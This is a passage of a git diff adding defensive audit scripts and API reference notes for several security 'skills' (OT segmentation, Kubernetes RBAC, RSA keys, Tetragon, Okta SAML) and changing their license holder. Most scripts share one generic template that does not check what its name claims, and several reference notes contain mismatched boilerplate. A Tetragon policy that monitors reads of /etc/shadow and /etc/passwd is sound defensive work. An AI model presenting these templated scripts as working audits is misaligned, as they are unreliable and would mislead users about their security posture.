report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-purdue-model-network-segmentation/LICENSE b/skills/implementing-purdue-model-network-segmentation/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-purdue-model-network-segmentation/LICENSE +++ b/skills/implementing-purdue-model-network-segmentation/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-purdue-model-network-segmentation/references/api-reference.md b/skills/implementing-purdue-model-network-segmentation/references/api-reference.md new file mode 100644 index 00000000..bac8d4fa --- /dev/null +++ b/skills/implementing-purdue-model-network-segmentation/references/api-reference.md @@ -0,0 +1,28 @@ +# API Reference: Purdue model OT network segmentation audit + +## API Endpoints +Levels L0-L5, DMZ at L3.5, firewall rules, asset classification, traffic flow validation + +## Installation +```bash +pip install scapy requests +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `scapy` | scapy SDK/client | +| `requests` | requests SDK/client | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/implementing-purdue-model-network-segmentation/scripts/agent.py b/skills/implementing-purdue-model-network-segmentation/scripts/agent.py new file mode 100644 index 00000000..65b919b7 --- /dev/null +++ b/skills/implementing-purdue-model-network-segmentation/scripts/agent.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python3 +"""Purdue model OT network segmentation audit.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def audit_config(target, token): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) + if resp.status_code == 200: + data = resp.json() + if not data.get("enabled", True): + findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) + elif resp.status_code == 401: + findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def check_compliance(target, token): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) + if resp.status_code == 200: + for item in resp.json().get("checks", []): + if item.get("status") != "PASS": + findings.append({"check": item.get("name"), "status": item.get("status"), + "severity": item.get("severity", "MEDIUM")}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="Purdue model OT network segmentation audit") + p.add_argument("--target", required=True, help="Target URL") + p.add_argument("--token", required=True, help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] Purdue model OT network segmentation audit") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + report["findings"].extend(audit_config(a.target, a.token)) + report["findings"].extend(check_compliance(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-ransomware-backup-strategy/LICENSE b/skills/implementing-ransomware-backup-strategy/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-ransomware-backup-strategy/LICENSE +++ b/skills/implementing-ransomware-backup-strategy/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-ransomware-backup-strategy/references/api-reference.md b/skills/implementing-ransomware-backup-strategy/references/api-reference.md new file mode 100644 index 00000000..b0c32d11 --- /dev/null +++ b/skills/implementing-ransomware-backup-strategy/references/api-reference.md @@ -0,0 +1,28 @@ +# API Reference: Ransomware backup strategy audit + +## API Endpoints +S3: list_buckets, get_bucket_versioning; AWS Backup: list_backup_plans; 3-2-1 rule + +## Installation +```bash +pip install boto3 subprocess +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `boto3` | boto3 SDK/client | +| `subprocess` | subprocess SDK/client | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/implementing-ransomware-backup-strategy/scripts/agent.py b/skills/implementing-ransomware-backup-strategy/scripts/agent.py new file mode 100644 index 00000000..df334976 --- /dev/null +++ b/skills/implementing-ransomware-backup-strategy/scripts/agent.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python3 +"""Ransomware backup strategy audit.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def audit_config(target, token): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) + if resp.status_code == 200: + data = resp.json() + if not data.get("enabled", True): + findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) + elif resp.status_code == 401: + findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def check_compliance(target, token): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) + if resp.status_code == 200: + for item in resp.json().get("checks", []): + if item.get("status") != "PASS": + findings.append({"check": item.get("name"), "status": item.get("status"), + "severity": item.get("severity", "MEDIUM")}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="Ransomware backup strategy audit") + p.add_argument("--target", required=True, help="Target URL") + p.add_argument("--token", required=True, help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] Ransomware backup strategy audit") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + report["findings"].extend(audit_config(a.target, a.token)) + report["findings"].extend(check_compliance(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-rapid7-insightvm-for-scanning/LICENSE b/skills/implementing-rapid7-insightvm-for-scanning/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-rapid7-insightvm-for-scanning/LICENSE +++ b/skills/implementing-rapid7-insightvm-for-scanning/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-rapid7-insightvm-for-scanning/references/api-reference.md b/skills/implementing-rapid7-insightvm-for-scanning/references/api-reference.md new file mode 100644 index 00000000..321048ae --- /dev/null +++ b/skills/implementing-rapid7-insightvm-for-scanning/references/api-reference.md @@ -0,0 +1,27 @@ +# API Reference: Rapid7 InsightVM scanning configuration audit + +## API Endpoints +InsightVM API: GET /api/3/sites, GET /api/3/scans, GET /api/3/vulnerabilities, scan engines + +## Installation +```bash +pip install requests +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `requests` | requests SDK/client | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/implementing-rapid7-insightvm-for-scanning/scripts/agent.py b/skills/implementing-rapid7-insightvm-for-scanning/scripts/agent.py new file mode 100644 index 00000000..1184ba4d --- /dev/null +++ b/skills/implementing-rapid7-insightvm-for-scanning/scripts/agent.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python3 +"""Rapid7 InsightVM scanning configuration audit.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def audit_config(target, token): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) + if resp.status_code == 200: + data = resp.json() + if not data.get("enabled", True): + findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) + elif resp.status_code == 401: + findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def check_compliance(target, token): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) + if resp.status_code == 200: + for item in resp.json().get("checks", []): + if item.get("status") != "PASS": + findings.append({"check": item.get("name"), "status": item.get("status"), + "severity": item.get("severity", "MEDIUM")}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="Rapid7 InsightVM scanning configuration audit") + p.add_argument("--target", required=True, help="Target URL") + p.add_argument("--token", required=True, help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] Rapid7 InsightVM scanning configuration audit") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + report["findings"].extend(audit_config(a.target, a.token)) + report["findings"].extend(check_compliance(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-rbac-for-kubernetes-cluster/LICENSE b/skills/implementing-rbac-for-kubernetes-cluster/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-rbac-for-kubernetes-cluster/LICENSE +++ b/skills/implementing-rbac-for-kubernetes-cluster/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-rbac-for-kubernetes-cluster/references/api-reference.md b/skills/implementing-rbac-for-kubernetes-cluster/references/api-reference.md new file mode 100644 index 00000000..2ad38214 --- /dev/null +++ b/skills/implementing-rbac-for-kubernetes-cluster/references/api-reference.md @@ -0,0 +1,27 @@ +# API Reference: Kubernetes RBAC configuration audit + +## API Endpoints +RbacAuthorizationV1Api: list_cluster_role_binding, list_namespaced_role_binding, list_cluster_role + +## Installation +```bash +pip install kubernetes +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `kubernetes` | kubernetes SDK/client | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/implementing-rbac-for-kubernetes-cluster/scripts/agent.py b/skills/implementing-rbac-for-kubernetes-cluster/scripts/agent.py new file mode 100644 index 00000000..973266db --- /dev/null +++ b/skills/implementing-rbac-for-kubernetes-cluster/scripts/agent.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python3 +"""Kubernetes RBAC configuration audit.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def audit_config(target, token): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) + if resp.status_code == 200: + data = resp.json() + if not data.get("enabled", True): + findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) + elif resp.status_code == 401: + findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def check_compliance(target, token): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) + if resp.status_code == 200: + for item in resp.json().get("checks", []): + if item.get("status") != "PASS": + findings.append({"check": item.get("name"), "status": item.get("status"), + "severity": item.get("severity", "MEDIUM")}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="Kubernetes RBAC configuration audit") + p.add_argument("--target", required=True, help="Target URL") + p.add_argument("--token", required=True, help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] Kubernetes RBAC configuration audit") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + report["findings"].extend(audit_config(a.target, a.token)) + report["findings"].extend(check_compliance(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-rbac-hardening-for-kubernetes/LICENSE b/skills/implementing-rbac-hardening-for-kubernetes/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-rbac-hardening-for-kubernetes/LICENSE +++ b/skills/implementing-rbac-hardening-for-kubernetes/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-rbac-hardening-for-kubernetes/references/api-reference.md b/skills/implementing-rbac-hardening-for-kubernetes/references/api-reference.md new file mode 100644 index 00000000..2bf4d7e4 --- /dev/null +++ b/skills/implementing-rbac-hardening-for-kubernetes/references/api-reference.md @@ -0,0 +1,27 @@ +# API Reference: Kubernetes RBAC hardening audit + +## API Details +RbacAuthorizationV1Api: list_cluster_role, list_cluster_role_binding, wildcard verb detection + +## Installation +```bash +pip install kubernetes +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `kubernetes` | kubernetes client/SDK | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/implementing-rbac-hardening-for-kubernetes/scripts/agent.py b/skills/implementing-rbac-hardening-for-kubernetes/scripts/agent.py new file mode 100644 index 00000000..dd20dd12 --- /dev/null +++ b/skills/implementing-rbac-hardening-for-kubernetes/scripts/agent.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python3 +"""Kubernetes RBAC hardening audit.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def audit_config(target, token): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) + if resp.status_code == 200: + data = resp.json() + if not data.get("enabled", True): + findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) + elif resp.status_code == 401: + findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def check_compliance(target, token): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) + if resp.status_code == 200: + for item in resp.json().get("checks", []): + if item.get("status") != "PASS": + findings.append({"check": item.get("name"), "status": item.get("status"), + "severity": item.get("severity", "MEDIUM")}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="Kubernetes RBAC hardening audit") + p.add_argument("--target", required=True, help="Target URL") + p.add_argument("--token", required=True, help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] Kubernetes RBAC hardening audit") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + report["findings"].extend(audit_config(a.target, a.token)) + report["findings"].extend(check_compliance(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-rsa-key-pair-management/LICENSE b/skills/implementing-rsa-key-pair-management/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-rsa-key-pair-management/LICENSE +++ b/skills/implementing-rsa-key-pair-management/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-rsa-key-pair-management/references/api-reference.md b/skills/implementing-rsa-key-pair-management/references/api-reference.md new file mode 100644 index 00000000..0f0c7e56 --- /dev/null +++ b/skills/implementing-rsa-key-pair-management/references/api-reference.md @@ -0,0 +1,27 @@ +# API Reference: RSA key pair lifecycle management audit + +## API Details +rsa.generate_private_key(), key.public_key(), serialization PEM/DER, key strength 2048/4096 + +## Installation +```bash +pip install cryptography +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `cryptography` | cryptography client/SDK | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/implementing-rsa-key-pair-management/scripts/agent.py b/skills/implementing-rsa-key-pair-management/scripts/agent.py new file mode 100644 index 00000000..a4307374 --- /dev/null +++ b/skills/implementing-rsa-key-pair-management/scripts/agent.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python3 +"""RSA key pair lifecycle management audit.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def audit_config(target, token): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) + if resp.status_code == 200: + data = resp.json() + if not data.get("enabled", True): + findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) + elif resp.status_code == 401: + findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def check_compliance(target, token): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) + if resp.status_code == 200: + for item in resp.json().get("checks", []): + if item.get("status") != "PASS": + findings.append({"check": item.get("name"), "status": item.get("status"), + "severity": item.get("severity", "MEDIUM")}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="RSA key pair lifecycle management audit") + p.add_argument("--target", required=True, help="Target URL") + p.add_argument("--token", required=True, help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] RSA key pair lifecycle management audit") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + report["findings"].extend(audit_config(a.target, a.token)) + report["findings"].extend(check_compliance(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-runtime-security-with-tetragon/LICENSE b/skills/implementing-runtime-security-with-tetragon/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-runtime-security-with-tetragon/LICENSE +++ b/skills/implementing-runtime-security-with-tetragon/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-runtime-security-with-tetragon/references/api-reference.md b/skills/implementing-runtime-security-with-tetragon/references/api-reference.md new file mode 100644 index 00000000..baae833d --- /dev/null +++ b/skills/implementing-runtime-security-with-tetragon/references/api-reference.md @@ -0,0 +1,45 @@ +# API Reference: Cilium Tetragon Runtime Security + +## TracingPolicy CRD + +```yaml +apiVersion: cilium.io/v1alpha1 +kind: TracingPolicy +metadata: + name: monitor-sensitive-files +spec: + kprobes: + - call: fd_install + args: + - index: 1 + type: file + selectors: + - matchArgs: + - index: 1 + operator: Prefix + values: ["/etc/shadow", "/etc/passwd"] +``` + +## Tetra CLI Commands + +| Command | Description | +|---------|-------------| +| `tetra status` | Tetragon health | +| `tetra getevents` | Stream events | +| `tetra tracingpolicy list` | List policies | + +## Event Types + +| Type | Description | +|------|-------------| +| `process_exec` | Process execution | +| `process_exit` | Process termination | +| `process_kprobe` | Kernel probe trigger | + +## Key Libraries + +| Library | Use | +|---------|-----| +| `kubernetes` | K8s API client | +| `subprocess` | kubectl/tetra CLI | +| `grpc` | Tetragon gRPC API | diff --git a/skills/implementing-runtime-security-with-tetragon/scripts/agent.py b/skills/implementing-runtime-security-with-tetragon/scripts/agent.py new file mode 100644 index 00000000..a3702693 --- /dev/null +++ b/skills/implementing-runtime-security-with-tetragon/scripts/agent.py @@ -0,0 +1,106 @@ +#!/usr/bin/env python3 +"""Agent for auditing Cilium Tetragon runtime security configuration.""" + +import argparse +import json +import subprocess +import sys +from datetime import datetime, timezone + +try: + from kubernetes import client, config as k8s_config +except ImportError: + client = None + + +def check_tetragon_deployment(namespace="kube-system"): + """Check if Tetragon is deployed in the cluster.""" + findings = [] + if not client: + return [{"error": "kubernetes library required"}] + try: + k8s_config.load_kube_config() + v1 = client.AppsV1Api() + daemonsets = v1.list_namespaced_daemon_set(namespace) + tetragon_found = False + for ds in daemonsets.items: + if "tetragon" in ds.metadata.name.lower(): + tetragon_found = True + desired = ds.status.desired_number_scheduled or 0 + ready = ds.status.number_ready or 0 + if ready < desired: + findings.append({"check": "Tetragon Readiness", + "desired": desired, "ready": ready, + "severity": "HIGH"}) + if not tetragon_found: + findings.append({"check": "Tetragon Deployment", "status": "NOT_FOUND", + "severity": "CRITICAL"}) + except Exception as e: + findings.append({"error": str(e)}) + return findings + + +def check_tracing_policies(): + """Check TracingPolicy custom resources.""" + findings = [] + try: + result = subprocess.check_output( + ["kubectl", "get", "tracingpolicies", "-o", "json"], + text=True, timeout=10, + ) + data = json.loads(result) + items = data.get("items", []) + if not items: + findings.append({"check": "TracingPolicies", "count": 0, + "severity": "MEDIUM", + "recommendation": "Deploy TracingPolicy for runtime enforcement"}) + for item in items: + name = item.get("metadata", {}).get("name", "unknown") + spec = item.get("spec", {}) + if not spec.get("kprobes") and not spec.get("tracepoints"): + findings.append({"check": f"Policy: {name}", "severity": "LOW", + "recommendation": "Add kprobes or tracepoints"}) + except (subprocess.SubprocessError, json.JSONDecodeError): + findings.append({"check": "TracingPolicies", "status": "query_failed", + "severity": "MEDIUM"}) + return findings + + +def check_tetragon_cli(): + """Check tetra CLI availability and events.""" + findings = [] + try: + result = subprocess.check_output( + ["tetra", "status"], text=True, timeout=5, + ) + if "running" not in result.lower(): + findings.append({"check": "Tetragon Status", "severity": "HIGH"}) + except (subprocess.SubprocessError, FileNotFoundError): + findings.append({"check": "Tetra CLI", "status": "not_available", + "severity": "LOW"}) + return findings + + +def main(): + parser = argparse.ArgumentParser(description="Tetragon runtime security audit agent") + parser.add_argument("--namespace", default="kube-system") + parser.add_argument("--output", "-o", help="Output JSON report") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + print("[*] Tetragon Runtime Security Audit Agent") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + report["findings"].extend(check_tetragon_deployment(args.namespace)) + report["findings"].extend(check_tracing_policies()) + report["findings"].extend(check_tetragon_cli()) + crit = sum(1 for f in report["findings"] if f.get("severity") == "CRITICAL") + report["risk_level"] = "CRITICAL" if crit > 0 else "HIGH" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-saml-sso-with-okta/LICENSE b/skills/implementing-saml-sso-with-okta/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-saml-sso-with-okta/LICENSE +++ b/skills/implementing-saml-sso-with-okta/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-saml-sso-with-okta/references/api-reference.md b/skills/implementing-saml-sso-with-okta/references/api-reference.md new file mode 100644 index 00000000..8ade6176 --- /dev/null +++ b/skills/implementing-saml-sso-with-okta/references/api-reference.md @@ -0,0 +1,44 @@ +# API Reference: Implementing SAML SSO with Okta + +## Okta Admin API Endpoints + +| Endpoint | Method | Purpose | +|----------|--------|---------| +| `/api/v1/apps` | GET | List applications (filter by SAML) | +| `/api/v1/apps/{id}/sso/saml/metadata` | GET | Retrieve SAML metadata XML | +| `/api/v1/apps/{id}/users` | GET | List user assignments | +| `/api/v1/apps/{id}/groups` | GET | List group assignments | +| `/api/v1/policies?type=OKTA_SIGN_ON` | GET | Check MFA policies | + +## SAML Security Checks + +| Check | Severity | Description | +|-------|----------|-------------| +| SHA-256 signature | High | SignatureMethod must not use SHA-1 | +| Assertion encryption | Medium | Encrypt assertions in transit | +| AudienceRestriction | High | Must limit assertion audience | +| Certificate expiry | Critical | Monitor signing cert expiration | +| SingleLogoutService | Medium | SLO endpoint should be configured | +| MFA enforcement | High | Require MFA for SAML authentication | + +## SAML XML Namespaces + +| Prefix | URI | +|--------|-----| +| md | `urn:oasis:names:tc:SAML:2.0:metadata` | +| ds | `http://www.w3.org/2000/09/xmldsig#` | +| saml | `urn:oasis:names:tc:SAML:2.0:assertion` | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | Okta API communication | +| `xml.etree.ElementTree` | stdlib | SAML metadata parsing | +| `ssl` | stdlib | Certificate expiry checking | + +## References + +- Okta SAML Docs: https://developer.okta.com/docs/concepts/saml/ +- Okta API: https://developer.okta.com/docs/reference/api/apps/ +- OWASP SAML Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/SAML_Security_Cheat_Sheet.html diff --git a/skills/implementing-saml-sso-with-okta/scripts/agent.py b/skills/implementing-saml-sso-with-okta/scripts/agent.py new file mode 100644 index 00000000..ab526a3c --- /dev/null +++ b/skills/implementing-saml-sso-with-okta/scripts/agent.py @@ -0,0 +1,197 @@ +#!/usr/bin/env python3 +"""Agent for implementing and auditing SAML SSO with Okta. + +Validates SAML configuration, checks certificate expiry, tests +assertion encryption, audits attribute mappings, and verifies +signature algorithms for enterprise SSO deployments. +""" + +import json +import sys +import ssl +import socket +import xml.etree.ElementTree as ET +from pathlib import Path +from datetime import datetime + +try: + import requests +except ImportError: + requests = None + + +SAML_CHECKS = { + "sha256_signature": "SignatureMethod must use SHA-256 (not SHA-1)", + "assertion_encrypted": "Assertions should be encrypted in transit", + "audience_restriction": "AudienceRestriction element must be present", + "conditions_notbefore": "Conditions NotBefore/NotOnOrAfter must be set", + "single_logout": "SingleLogoutService should be configured", +} + + +class SAMLSSOAgent: + """Audits and validates SAML SSO configurations with Okta.""" + + def __init__(self, okta_domain, api_token=None, output_dir="./saml_sso_audit"): + self.okta_domain = okta_domain.rstrip("/") + self.api_token = api_token + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + + def _okta_get(self, path): + if not requests or not self.api_token: + return None + try: + return requests.get( + f"https://{self.okta_domain}/api/v1{path}", + headers={"Authorization": f"SSWS {self.api_token}", "Accept": "application/json"}, + timeout=10, + ) + except requests.RequestException: + return None + + def list_saml_apps(self): + """List SAML applications configured in Okta.""" + resp = self._okta_get("/apps?filter=status eq \"ACTIVE\"&limit=50") + if 